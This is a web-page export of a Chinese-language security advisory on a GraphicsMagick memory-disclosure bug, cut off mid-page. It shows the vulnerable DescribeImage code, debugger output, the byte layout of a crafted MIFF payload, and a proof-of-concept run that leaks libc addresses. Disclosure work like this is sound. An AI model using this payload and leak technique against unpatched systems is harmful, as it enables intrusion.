{"id":10566,"date":"2017-11-21T14:19:05","date_gmt":"2017-11-21T22:19:05","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/11\/21\/news-4338\/"},"modified":"2017-11-21T14:19:05","modified_gmt":"2017-11-21T22:19:05","slug":"news-4338","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2017\/11\/21\/news-4338\/","title":{"rendered":"SSD\u5b89\u5168\u516c\u544a\u2013GraphicsMagick\u591a\u4e2a\u6f0f\u6d1e"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Tue, 21 Nov 2017 08:58:38 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3530\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><br \/><script>var obj = jQuery('#a-href-3530');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script> See our full scope at: <a href=\"https:\/\/blogs.securiteam.com\/index.php\/product_scope\">https:\/\/blogs.securiteam.com\/index.php\/product_scope<\/a><\/p>\n<div class=\"pf-content\">\n<p><strong>\u6f0f\u6d1e\u6982\u8981<\/strong> <\/p>\n<p>\u4ee5\u4e0b\u5b89\u5168\u516c\u544a\u63cf\u8ff0\u4e86\u5728GraphicsMagick\u4e2d\u53d1\u73b0\u7684\u4e24\u4e2a\u6f0f\u6d1e\u3002<\/p>\n<p>GraphicsMagick\u662f\u201c\u56fe\u50cf\u5904\u7406\u65b9\u9762\u7684\u745e\u58eb\u519b\u5200\u3002 \u57fa\u7840\u5305\u4e2d\u7684\u6e90\u7801\u5171\u6709267K\u884c(\u6839\u636eDavid A. Wheeler\u7edf\u8ba1)\uff0c\u5b83\u63d0\u4f9b\u4e86\u5f3a\u5927\u800c\u6709\u6548\u7684\u5de5\u5177\u548c\u5e93\uff0c\u652f\u6301\u8bfb\uff0c\u5199\u8d85\u8fc788\u79cd\u4e3b\u8981\u56fe\u50cf\u5904\u7406\u683c\u5f0f\uff0c\u5305\u62ecDPX\uff0cGIF\uff0cJPEG\uff0cJPEG-2000\uff0cPNG\uff0cPDF\uff0cPNM\u548cTIFF\u7b49\u91cd\u8981\u683c\u5f0f\u3002<\/p>\n<p>\u5728GraphicsMagick\u4e2d\u53d1\u73b0\u7684\u4e24\u4e2a\u6f0f\u6d1e\u662f\uff1a<\/p>\n<ul>\n<li>\u5185\u5b58\u4fe1\u606f\u6cc4\u9732<\/li>\n<li>\u5806\u6ea2\u51fa<\/li>\n<\/ul>\n<p><strong>\u6f0f\u6d1e\u63d0\u4ea4\u8005<\/strong><br \/> \u4e00\u4f4d\u72ec\u7acb\u7684\u5b89\u5168\u7814\u7a76\u4eba\u5458Jeremy Heng\uff08@nn_amon\uff09\u548cTerry Chia\uff08Ayrx\uff09\u5411 Beyond Security \u7684 SSD \u62a5\u544a\u4e86\u8be5\u6f0f\u6d1e<\/p>\n<p><strong>\u5382\u5546\u54cd\u5e94<\/strong><\/p>\n<p>\u5382\u5546\u5df2\u7ecf\u53d1\u5e03\u4e86\u8fd9\u4e9b\u6f0f\u6d1e\u7684\u8865\u4e01(15237:e4e1c2a581d8 and 15238:7292230dd18)\u3002\u83b7\u53d6\u66f4\u591a\u4fe1\u606f\uff1a ftp:\/\/ftp.graphicsmagick.org\/pub\/GraphicsMagick\/snapshots\/ChangeLog.txt<\/p>\n<p><span id=\"more-3530\"><\/span><\/p>\n<p><strong><u>\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f<\/u><\/strong><\/p>\n<p><strong>\u5185\u5b58\u4fe1\u606f\u6cc4\u9732<\/strong><\/p>\n<p>GraphicsMagick\u6613\u53d7\u5230magick\/describe.c\u6587\u4ef6\u7684DescribeImage\u51fd\u6570\u4e2d\u5b58\u5728\u5185\u5b58\u4fe1\u606f\u6cc4\u9732\u6f0f\u6d1e\u5f71\u54cd\u3002<\/p>\n<p>\u8d1f\u8d23\u6253\u5370\u5305\u542b\u7684IPTC\u914d\u7f6e\u6587\u4ef6\u4fe1\u606f\u7684\u56fe\u50cf\u4e2d\u7684\u8fd9\u4e00\u90e8\u5206\u4ee3\u7801\u5b58\u5728\u6f0f\u6d1e\u3002<\/p>\n<p>\u8be5\u6f0f\u6d1e\u53ef\u4ee5\u901a\u8fc7\u7279\u5236\u7684MIFF\u6587\u4ef6\u89e6\u53d1\u3002<\/p>\n<p>\u5b58\u5728\u6f0f\u6d1e\u7684\u4ee3\u7801\u8def\u5f84\u5982\u4e0b\uff1a<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a14a659160fe810807306\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8220;`c   63 MagickExport MagickPassFail DescribeImage(Image *image,FILE *file,   64                                           const MagickBool verbose)   65 {  &#8230;  660       for (i=0; i &lt; profile_length; )  661         {  662           if (profile[i] != 0x1c)  663             {  664               i++;  665               continue;  666             }  667           i++;  \/* skip file separator *\/  668           i++;  \/* skip record number *\/  &#8230;  725           i++;  726           (void) fprintf(file,&#8221;    %.1024s:n&#8221;,tag);  727           length=profile[i++] &lt;&lt; 8;  728           length|=profile[i++];  729           text=MagickAllocateMemory(char *,length+1);  730           if (text != (char *) NULL)  731             {  732               char  733                 **textlist;  734  735               register unsigned long  736                 j;  737  738               (void) strncpy(text,(char *) profile+i,length);  739               text[length]=&#8217;\u0000&#8217;;  740               textlist=StringToList(text);  741               if (textlist != (char **) NULL)  742                 {  743                   for (j=0; textlist[j] != (char *) NULL; j++)  744                     {  745                       (void) fprintf(file,&#8221;  %sn&#8221;,textlist[j]);  &#8230;  752           i+=length;  753         }  &#8220;`<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0074 seconds] -->  <\/p>\n<p>profile_length\u53d8\u91cf\u4e2d\u7684\u503c\u5728MIFF\u5934\u4e2d\u7684profile-iptc = 8\u5b57\u6bb5\u8bbe\u7f6e<\/p>\n<p>\u5f53\u8bbf\u95eeprofile [i]\u65f6\uff0c\u56e0\u4e3a\u4e0d\u68c0\u67e5i\u7684\u503c\uff0c\u6240\u4ee5\u4f1a\u51fa\u73b0\u8d8a\u754c\u8bbf\u95ee\u3002<\/p>\n<p>\u5982\u679c\u65ad\u5728describe.c\u7b2c738\u884c\uff0c\u5728\u6267\u884cstrncpy\u64cd\u4f5c\u7684\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u83b7\u53d6\u5230\u5806\u4e2d\u7684\u5185\u5bb9\u3002<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a14a6591610a465081169\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> gef\u27a4  x\/2xg profile  0x8be210:    0x08000a001c414141    0x00007ffff690fba8<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591610a465081169-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591610a465081169-2\">2<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a14a6591610a465081169-1\"><span class=\"crayon-i\">gef<\/span>\u27a4<span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">2xg<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">profile<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591610a465081169-2\"><span class=\"crayon-cn\">0x8be210<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">0x08000a001c414141<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">0x00007ffff690fba8<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0005 seconds] -->  <\/p>\n<p>0x08000a001c414141\u662f\u6211\u4eec\u690d\u5165MIFF\u6587\u4ef6\u4e2d\u7684payload\u3002<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a14a6591610e896991155\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> 41 41 41 &#8211; padding  1C &#8211; sentinel check in line 662  00 &#8211; padding  0A &#8211; &#8220;Priority&#8221; tag  08 00 &#8211; 8 in big endian, the length<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591610e896991155-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591610e896991155-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591610e896991155-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591610e896991155-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591610e896991155-5\">5<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a14a6591610e896991155-1\"><span class=\"crayon-cn\">41<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">padding<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591610e896991155-2\"><span class=\"crayon-cn\">1C<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sentinel <\/span><span class=\"crayon-e\">check <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">line<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">662<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591610e896991155-3\"><span class=\"crayon-cn\">00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">padding<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591610e896991155-4\"><span class=\"crayon-cn\">0A<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Priority&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">tag<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591610e896991155-5\"><span class=\"crayon-cn\">08<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">big <\/span><span class=\"crayon-v\">endian<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-v\">length<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0012 seconds] -->  <\/p>\n<p>\u68c0\u67e5\u4e0epayload\u76f8\u90bb\u7684\u503c0x00007ffff690fba8\uff0c\u53d1\u73b0\u5b83\u5176\u5b9e\u662flibc\u4e2dmain_arena\u7ed3\u6784\u4e2d\u7684\u4e00\u4e2a\u5730\u5740\u3002<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a14a65916112812030339\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> gef\u27a4  x\/xw 0x00007ffff690fba8  0x7ffff690fba8 &lt;main_arena+136&gt;:    0x008cdc40  gef\u27a4  vmmap libc  Start              End                Offset             Perm Path  0x00007ffff654b000 0x00007ffff670b000 0x0000000000000000 r-x  \/lib\/x86_64-linux-gnu\/libc-2.23.so  0x00007ffff670b000 0x00007ffff690b000 0x00000000001c0000 &#8212;  \/lib\/x86_64-linux-gnu\/libc-2.23.so  0x00007ffff690b000 0x00007ffff690f000 0x00000000001c0000 r&#8211;  \/lib\/x86_64-linux-gnu\/libc-2.23.so  0x00007ffff690f000 0x00007ffff6911000 0x00000000001c4000 rw-  \/lib\/x86_64-linux-gnu\/libc-2.23.so<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916112812030339-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916112812030339-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916112812030339-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916112812030339-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916112812030339-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916112812030339-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916112812030339-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916112812030339-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916112812030339-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916112812030339-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916112812030339-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916112812030339-12\">12<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a14a65916112812030339-1\"><span class=\"crayon-i\">gef<\/span>\u27a4<span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-i\">xw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00007ffff690fba8<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916112812030339-2\"><span class=\"crayon-cn\">0x7ffff690fba8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">main_arena<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">136<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">0x008cdc40<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916112812030339-3\"><span class=\"crayon-i\">gef<\/span>\u27a4<span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">vmmap <\/span><span class=\"crayon-e\">libc<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916112812030339-4\"><span class=\"crayon-e\">Start&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">End<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Offset&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">Perm <\/span><span class=\"crayon-i\">Path<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916112812030339-5\"><span class=\"crayon-cn\">0x00007ffff654b000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00007ffff670b000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0000000000000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">x<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916112812030339-6\"><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">lib<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">x86_64<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">linux<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">gnu<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">libc<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">2.23.so<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916112812030339-7\"><span class=\"crayon-cn\">0x00007ffff670b000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00007ffff690b000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00000000001c0000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916112812030339-8\"><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">lib<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">x86_64<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">linux<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">gnu<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">libc<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">2.23.so<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916112812030339-9\"><span class=\"crayon-cn\">0x00007ffff690b000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00007ffff690f000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00000000001c0000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-o\">&#8212;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916112812030339-10\"><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">lib<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">x86_64<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">linux<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">gnu<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">libc<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">2.23.so<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916112812030339-11\"><span class=\"crayon-cn\">0x00007ffff690f000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00007ffff6911000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00000000001c4000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rw<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916112812030339-12\"><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">lib<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">x86_64<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">linux<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">gnu<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">libc<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">2.23.so<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0027 seconds] -->  <\/p>\n<p>\u73b0\u5728\u6211\u4eec\u53ef\u4ee5\u8ba1\u7b97\u5230libc base\u7684\u504f\u79fb\u91cf &#8211; 0x3c4b98<\/p>\n<p><strong>\u6f0f\u6d1e\u8bc1\u660e<\/strong><\/p>\n<p>$ python miff\/readexploit.py<br \/> [+] Starting local process \u2018\/usr\/bin\/gm\u2019: pid 20019<br \/> [+] Receiving all data: Done (1.27KB)<br \/> [*] Process \u2018\/usr\/bin\/gm\u2019 stopped with exit code 0 (pid 20019)<br \/> [*] Main Arena Leak: 0x7f72948adb98<br \/> [*] libc Base: 0x7f72944e9000<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a14a65916118218751694\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" 